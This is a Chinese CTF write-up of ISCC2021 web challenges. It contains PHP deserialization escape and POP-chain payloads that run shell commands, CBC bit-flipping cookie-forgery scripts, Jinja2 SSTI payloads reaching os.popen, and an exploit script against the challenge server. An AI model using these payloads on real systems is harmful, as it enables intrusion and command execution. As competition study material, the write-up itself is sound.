ISCC2021 Web WP

ISCC2021 Web WP

练武

ISCC客服冲冲冲(一)

又到了一年一度的ISCC,客服一号为了保住饭碗(被迫)参与了今年的客服海选投票。经过激烈的角逐,客服一号终于凭借着自己多年的客服经验来到决赛的舞台,却发现对手竟是自己???
请帮助真正的客服一号在投票中取胜,保住客服一号的饭碗! 题目入口:http://39.96.91.106:7020

方法一:使用连点器
设置每秒点击100次,得到flag
在这里插入图片描述
方法二:修改按钮ID
F12将两个按钮的id交换在这里插入图片描述
方法三
js调用click函数,控制台输入

1
setInterval(function(){document.getElementById("left_button").click();},1);

方法四:刷票

1
local_left_votes=999999

在这里插入图片描述

这是啥

这是什么东西呢?
题目入口:http://39.96.91.106:7030

下载附件,将jsfuck编码丢到控制台得到flag
在这里插入图片描述

正则匹配最后的倔强。

按照提示访问robots.txt,不允许所有人访问/src/code/code.txt
在这里插入图片描述
访问/code/code.txt得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

Bugku原题,传入的值必须是数字或大小写字符,长度小于8且大于9999999,且匹配到”-“才能输出flag。可以使用%00来截断,当ereg函数读到 %00的时候,就截止了。

1
Payload: ?password=1e8%00*-*

flag:
ISCC{1SCc-202i}

登录

登录来上传自己的信息吧!
题目入口:http://39.96.91.106:7010

这是一道原题: [0CTF 2016] piapiapia,参考wp
在这里插入图片描述

www.zip源码泄露,可直接下载源码。
在这里插入图片描述
源码如下:

config.php

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php
require('config.php');

class user extends mysql{
private $table = 'users';

public function is_exists($username) {
$username = parent::filter($username);

$where = "username = '$username'";
return parent::select($this->table, $where);
}
public function register($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$key_list = Array('username', 'password');
$value_list = Array($username, md5($password));
return parent::insert($this->table, $key_list, $value_list);
}
public function login($username, $password) {
$username = parent::filter($username);
$password = parent::filter($password);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
if ($object && $object->password === md5($password)) {
return true;
} else {
return false;
}
}
public function show_profile($username) {
$username = parent::filter($username);

$where = "username = '$username'";
$object = parent::select($this->table, $where);
return $object->profile;
}
public function update_profile($username, $new_profile) {
$username = parent::filter($username);
$new_profile = parent::filter($new_profile);

$where = "username = '$username'";
return parent::update($this->table, 'profile', $new_profile, $where);
}
public function __tostring() {
return __class__;
}
}

class mysql {
private $link = null;

public function connect($config) {
$this->link = mysql_connect(
$config['hostname'],
$config['username'],
$config['password']
);
mysql_select_db($config['database']);
mysql_query("SET sql_mode='strict_all_tables'");

return $this->link;
}

public function select($table, $where, $ret = '*') {
$sql = "SELECT $ret FROM $table WHERE $where";
$result = mysql_query($sql, $this->link);
return mysql_fetch_object($result);
}

public function insert($table, $key_list, $value_list) {
$key = implode(',', $key_list);
$value = '\'' . implode('\',\'', $value_list) . '\'';
$sql = "INSERT INTO $table ($key) VALUES ($value)";
return mysql_query($sql);
}

public function update($table, $key, $value, $where) {
$sql = "UPDATE $table SET $key = '$value' WHERE $where";
return mysql_query($sql);
}

public function filter($string) {
$escape = array('\'', '\\\\');
$escape = '/' . implode('|', $escape) . '/';
$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');
$safe = '/' . implode('|', $safe) . '/i';
return preg_replace($safe, 'hacker', $string);
}
public function __tostring() {
return __class__;
}
}
session_start();
$user = new user();
$user->connect($config);

register.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
require_once('class.php');
if($_POST['username'] && $_POST['password']) {
$username = $_POST['username'];
$password = $_POST['password'];

if(strlen($username) < 3 or strlen($username) > 16)
die('Invalid user name');

if(strlen($password) < 3 or strlen($password) > 16)
die('Invalid password');
if(!$user->is_exists($username)) {
$user->register($username, $password);
echo 'Register OK!<a href="index.php">Please Login</a>';
}
else {
die('User name Already Exists');
}
}
else {
?>

profile.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
$username = $_SESSION['username'];
$profile=$user->show_profile($username);
if($profile == null) {
header('Location: update.php');
}
else {
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));
?>

update.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
require_once('class.php');
if($_SESSION['username'] == null) {
die('Login First');
}
if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {

$username = $_SESSION['username'];
if(!preg_match('/^\d{11}$/', $_POST['phone']))
die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
die('Invalid email');

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
die('Invalid nickname');

$file = $_FILES['photo'];
if($file['size'] < 5 or $file['size'] > 1000000)
die('Photo size error');

move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));
$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);

$user->update_profile($username, serialize($profile));
echo 'Update Profile Success!<a href="profile.php">Your Profile</a>';
}
else {
?>

1.审计代码

  • config.php
    flag在这里

  • register.php
    注册账号,对帐号密码长度做出限制

  • profile.php
    (1)将序列化后的用户信息进行了反序列化,且读取了上传的 photo 文件内容
    (2)用base64编码对上传文件进行了读取和显示

  • update.php
    (1)phone 长度为11位;
    (2)nickname长度小于 10 位,且只能为字母和数字;
    (3)将用户填写的 phone、email、nickname 以及上传的文件进行序列化

  • class.php
    存在参数过滤,filter 中将 ‘select’, ‘insert’, ‘update’, ‘delete’, ‘where’ 等词用 ‘hacker’ 替换掉.

存在参数过滤,where被替换成hacker,长度加1

2.序列化profile
update.php中POST提交完后对$profile进行序列化操作

1
2
3
4
5
6
7
8
9
<?php
$profile = array();
$profile['phone'] = '18288669977';
$profile['email'] = '2233445588@qq.com';
$profile['nickname'] = 'xiaom';
$profile['photo'] = 'config.php';

echo serialize($profile);
?>

结果为

1
a:4:{s:5:"phone";s:11:"18288669977";s:5:"email";s:17:"2233445588@qq.com";s:8:"nickname";s:5:"xiaom";s:5:"photo";s:10:"config.php";}

下面可以利用php反序列化字符逃逸

1
PHP在反序列化时,从左往右读取数据类型及长度,且只读取其中规定长度的数据,即当数据的长度大于规定的长度,后面还有数据也不再读取,而后面不再读取的数据,就会被挤到下一个数据项中。

3.反序列化字符逃逸
这里需要构造超出长度的数据,将被挤出来的数据形成可以读取config.php 的数据项

1
";}s:5:"photo";s:10:"config.php";}

上面的字符串一共34个字符,所以需要在 nickname 处多添加34位长的数据,才能将这段数据挤到 photo 的位置上去。

class.php代码中存在过滤, where 被替换成了 hacker,此时字符串的长度加 1 ,如果在 nickname 处填进 34 个where,就会被替换成 34 个 hacker,即nickname 的长度超出了 34 位。

得到payload:

1
wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

访问register.php,注册账号,然后登陆,在Nickname处填入上面的payload

在这里插入图片描述

抓包,将Nickname修改为Nickname[]数组类型
在这里插入图片描述
4.利用base64编码读取flag
放包,点击超链接跳转到profile.php页面,查看源码
在这里插入图片描述

一段Base编码

1
PD9waHAKJGNvbmZpZ1snaG9zdG5hbWUnXSA9ICcxMjcuMC4wLjEnOwokY29uZmlnWyd1c2VybmFtZSddID0gJ3Jvb3QnOwokY29uZmlnWydwYXNzd29yZCddID0gJ3F3ZXJ0eXVpb3AnOwokY29uZmlnWydkYXRhYmFzZSddID0gJ2NoYWxsZW5nZXMnOwokZmxhZyA9ICdJU0NDe3doYXRfaXNAdGhlJl9uaWNrbmFtZSo/MTExMjIzNH0nOwo/Pgo=

Base64解码得到flag

1
2
3
4
5
6
7
<?php
$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = 'qwertyuiop';
$config['database'] = 'challenges';
$flag = 'ISCC{what_is@the&_nickname*?1112234}';
?>

which is the true iscc

小夏同学很想知道ISCC到底是什么,不过上网后的搜索让他更加迷惑了——怎么有这么多ISCC??到底哪个ISCC是真的呢?你能帮他找到真正的ISCC吗?
题目入口:http://39.96.91.106:7050

访问题目地址,查看源码

1
2
3
4
5
6
<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->

按照提示,访问/?whatareyounongshane=src,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;


if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

ISCC_Command类里面的__destruct方法可以执行cmd命令

1
2
3
4
5
6
7
8
9
10
11
12
function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

在ISCC_ResetCMD类里面对cmd进行重新赋值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1scc的SESSION

1
2
3
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}

通过变量覆盖来控制$_SESSION的值

ISCC__Upload类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

其中$GLOBALS['key'] = value;为全局变量的覆盖,当$is_upload为true的时候,就会触发这个循环,可以实现$_SESSION的变量覆盖。

而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);会把他设置成true,其他的类都设置成了false。

这里了解一下$_FILES$_FILES通过 HTTP POST 方式上传到当前脚本的项目的数组。
数组内容如下:

1
2
3
4
5
$_FILES['userfile']['name']       #客户端机器文件的原名称。
$_FILES['userfile']['type']     #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']     #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name'] #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error'] #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

所以我们就要让upload执行__destruct的时候,is_upload是true
这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链

由于有一个waf函数,不能出现*

1
2
3
4
5
function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

但是ISCC_ResetCMD类的$new_cmd的属性是protected的,序列化后会带有*,这就需要ISCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class ISCC_Command {

}
class ISCC_ResetCMD {

protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;

在这里插入图片描述

利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。

重新构造POP链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class ISCC_Command {

}
class ISCC_ResetCMD {

protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
}
$a=array(
'a'=>new ISCC_Upload(),
'b'=>new ISCC_ResetCMD(),
'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;

运行得到:

1
a%3A3%3A%7BS%3A1%3A%22a%22%3BO%3A11%3A%22ISCC_Upload%22%3A0%3A%7B%7DS%3A1%3A%22b%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A1%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3B%7DS%3A1%3A%22c%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D

通过python脚本上传,注意图片不能太大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url="http://39.96.91.106:7050/"

files={
'iscc_file':("b",open("atkx.jpg","rb")),
"_SESSION":("isccIsCciScc1scc","123")
}
headers={
'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files,headers=headers)

print(r.text)

得到flag
在这里插入图片描述

ISCC客服一号冲冲冲(二)

经过激烈的竞争,客服一号终于通过自己的努力(选手的帮助),保住了自己的饭碗(获得了客服的密码),可当他打开客服登录窗口,却发现怎么也登不上去了。
你能帮他看看怎么回事吗? 题目入口:http://39.96.91.106:8210/ Flag格式:iscc{XXX}

查看源码,看到login.bmp,下载

蓝色通道最低位有异常,另存为login.html
在这里插入图片描述

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<?php
define("SECRET_KEY", '101010031231243214');
define("METHOD", "aes-128-cbc");
session_start();

function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}

function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
$_SESSION['username'] = $info['username'];
$_SESSION['password'] = $info['password'];
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}

function check_login(){
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$_SESSION['username'] = $info['username'];
}else{
die("ERROR!");
}
}
}

function show_homepage(){
if ($_SESSION["username"]==='admin'&& $_SESSION["password"]=== password)
{
echo '<p>Hello admin</p>';
echo '<p>Flag is '.flag.'</p>';
}
else if($_SESSION["password"] == password)
{
echo '<p>hello '.$_SESSION['username'].'</p>';
echo '<p>You can\'t see flag</p>';
}
else
{
echo '<p>Sorry,password is incorrect</p>';
}
}

if(isset($_POST['username']) && isset($_POST['password'])){
$username = (string)$_POST['username'];
$password = (string)$_POST['password'];
if($username === 'admin'){
exit('<p>admin are not allowed to login</p>');
}else{
$info = array('username'=>$username,'password'=>$password);
login($info);
show_homepage();
}
}else{
if(isset($_SESSION["username"])){
check_login();
show_homepage();
}else{
echo '
<body class="login-body">
<div id="wrapper" style = "width:800px; height:200px; overflow:hidden;">
<img class="img1" src="login.bmp" alt="login" />
</div>
</body>';
}
}
?>

阅读源代码,我们可以知道,只有admin用户才能读取flag,但是admin用户又不允许登录。虽然相互矛盾,由于题目用到了aes的cbc模式加密,所以我们可以利用cbc字节翻转攻击来得到我们想要的明文。

Bugku Login4原题,考查CBC字节翻转攻击

这是组合题,猜测密码是(一)的flag

1
2
POST
username=admix&password=1SCC_2o2l_KeFuu&submit=Login

在这里插入图片描述
题目将用户名密码传入数组并序列化得到

1
a:2:{s:8:"username";s:5:"admil";s:8:"password";s:15:"1SCC_2o2l_KeFuu";

接下来进行aes加密,并将得到的cipher和iv进行base64编码放入cookie中(cookie对于攻击者来说可控,所以存在cbc字节翻转攻击)

明文加密时分组为:

1
2
3
4
5
a:2:{s:8:"userna
me";s:5:"admil";
s:8:"password";s
:15:"1SCC_2o2l_K
eFuu";} 

因此我们只需要将”x”字节翻转为”n”即可得到flag。

根据我们得到的关系,已知只需修改前一组密文即可。

1
$newcipher[13]=chr(ord(13) ^ ord(‘x’) ^ ord(‘n’))

这时我们就会得到

1
a:2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"1SCC_2o2l_KeFuu";

但是由于前一组密文被修改了 所以前一组的明文会出现乱码,因此接下来我们再生成新的iv将前一组明文改回a:2:{s:8:”userna 即可得到flag。

下面开始操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header("Content-Type: text/html;charset=utf-8");
#计算cipher
/*
明文1:a:2:{s:8:"userna //r
明文2:me";s:5:"admix"; //l字母在第14个字节
明文3:s:8:"password";s
明文4::3:"123";}
*/
$cipher = base64_decode(urldecode('y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D'));
$temp = $cipher;
/*
设密文1[13]=A, 解密(密文2)[13]=B, 明文2[13]=C,
将A修改为A ^ C,则:
A ^ B = A ^ C ^ B = B ^ B = 0 = C
*/
// A C X
$cipher[13] = chr(ord($cipher[13]) ^ ord('x') ^ ord('n'));
echo urlencode(base64_encode($cipher));

#Set-Cookie: iv=UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D
#Set-Cookie: cipher=y2x2UEGxPieluLPfmaOe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D
?>

得到

1
y2x2UEGxPieluLPfmbWe7HLmJGhUASZGr4AV8o38wLK9LbccTHd125gfvWZpb6lr3T0He7kJ3t7b%2F9JXPj%2FmCm17%2BVl6eIuWs0BqoaXVDL8%3D

这里提示反序列化失败了
在这里插入图片描述
重新计算vi

1
2
3
4
5
6
7
8
9
10
11
<?php
#计算iv
$res = base64_decode('udWanuvQSROPYCexu0Urn21lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjE1OiIxU0NDXzJvMmxfS2VGdXUiO30='); //这里放burp放回的base64数据
$iv = base64_decode(urldecode('UlaTx7%2Bd%2B3R0%2BQG0wM0t%2BQ%3D%3D')); //这里放cookie中的iv iv=kCoJjjQMy%2BIQATaagMVpbw%3D%3D;
$plaintext = 'a:2:{s:8:"userna';
$new_iv = '';
for ($i = 0; $i < 16; $i ++){
$new_iv = $new_iv . chr(ord($iv[$i]) ^ ord($res[$i]) ^ ord($plaintext[$i]));
}
echo urlencode(base64_encode($new_iv));
?>

得到新的iv值传过去

1
irk7Yy8%2BiF%2FBu1N2HvpoBw%3D%3D

最终flag为
在这里插入图片描述

lovely ssti

MiaoMiaoMiao~这里有一只可爱的暹罗猫猫
题目入口:http://39.96.91.106:3010/

查看可用字符

1
Payload: ?xiaodouni={%print%20lipsum|select|string|list%}

在这里插入图片描述
没做过多少SSTI方面的题,会单独弄篇博客总结SSTI,暂时先贴一下大师傅们的Payload吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
?xiaodouyu=
{%set%20xiahua=(config|select|string|list)[24]%}
{%set%20gb=(xiahua,xiahua,dict(class=a)|join,xiahua,xiahua)|join%}
{%set%20ini=(xiahua,xiahua,dict(init=a)|join,xiahua,xiahua)|join%}
{%set%20glo=(xiahua,xiahua,dict(globals=a)|join,xiahua,xiahua)|join%}
{%set%20gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set%20oo=dict(o=a,s=a)|join%}
{%%20set%20so=oo[::-1]%}
{%set%20pp=dict(pop=a,ne=b)|join%}
{%%20set%20opo=pp[::-1]%}
{%set%20rd=(dict(read=a)|join)%}
{%print config|attr(gb)|attr(ini)|attr(glo)|attr(gm)(so)|attr(opo)("cat /usr/?????is?here????")|attr(rd)()%}


?xiaodouyu=
{%set pp=(dict(pop=a))|join%}
{%set xiahua=(lipsum|select|string|list)|attr(pp)(24)%}
{%set g=(lipsum|select|string|list)|attr(pp)(1)%}
{%set gb=(xiahua,xiahua,g,dict(bals=a,lo=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,g,dict(e=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl))|attr("ge""t")("ch""r")%}
{%set dian=chcr(46)%}
{%set space=chcr(32)%}
{%set xing=chcr(42)%}
{%set shell=("cat ","requirements",dian,"txt")|join%}
{%set shell2=("find / -name ",xing,"fl","ag",xing)|join%}
{%set shell2=("cat /usr/fl","ag",xiahua,"is",xiahua,"here",dian,"txt")|join%}
{{ lipsum|attr(gb)|attr(gm)("o""s")|attr("po""pen")(shell2)|attr("read")()}}



?xiaodouyu=
{% set xiahua=(config|string)[14]%}
{% set gb=(xiahua,xiahua,"globals",xiahua,xiahua)|join %}
{% set bl=(xiahua,xiahua,"builtins",xiahua,xiahua)|join %}
{% set cr=(lipsum|attr(gb)|attr("get")(bl))["ch""r"] %}
{% set dian=cr(46)%}
{% set xing =cr(42)%}
{% set shell=("find / -name ",xing,"fla",xing)|join%}
{% set shell4 = "cat /usr/fla??is?here?txt"%}
{{(lipsum|attr(gb)|attr("get")("o""s")|attr("po""pen")(shell4))|attr("read")()}}

在这里插入图片描述

擂台

tornado

Tornado 是什么呢?
题目入口:http://39.96.91.106:7060

在BUU上做过,是道原题
在这里插入图片描述

从三个链接可以得到以下信息:

  1. flag.txt:flag在/fllllllllllllaaaaaag文件里面
  2. welcome.txt:根据提示render,可以知道存在模板注入
  3. hints.txt:md5(cookie_secret+md5(filename))

当访问/hints.txt,发现url栏变为:

1
/file?filename=/hints.txt&filehash=c61a0774797a56fc60854ac778aa3d15

直接访问fllllllllllllaaaaaag文件

1
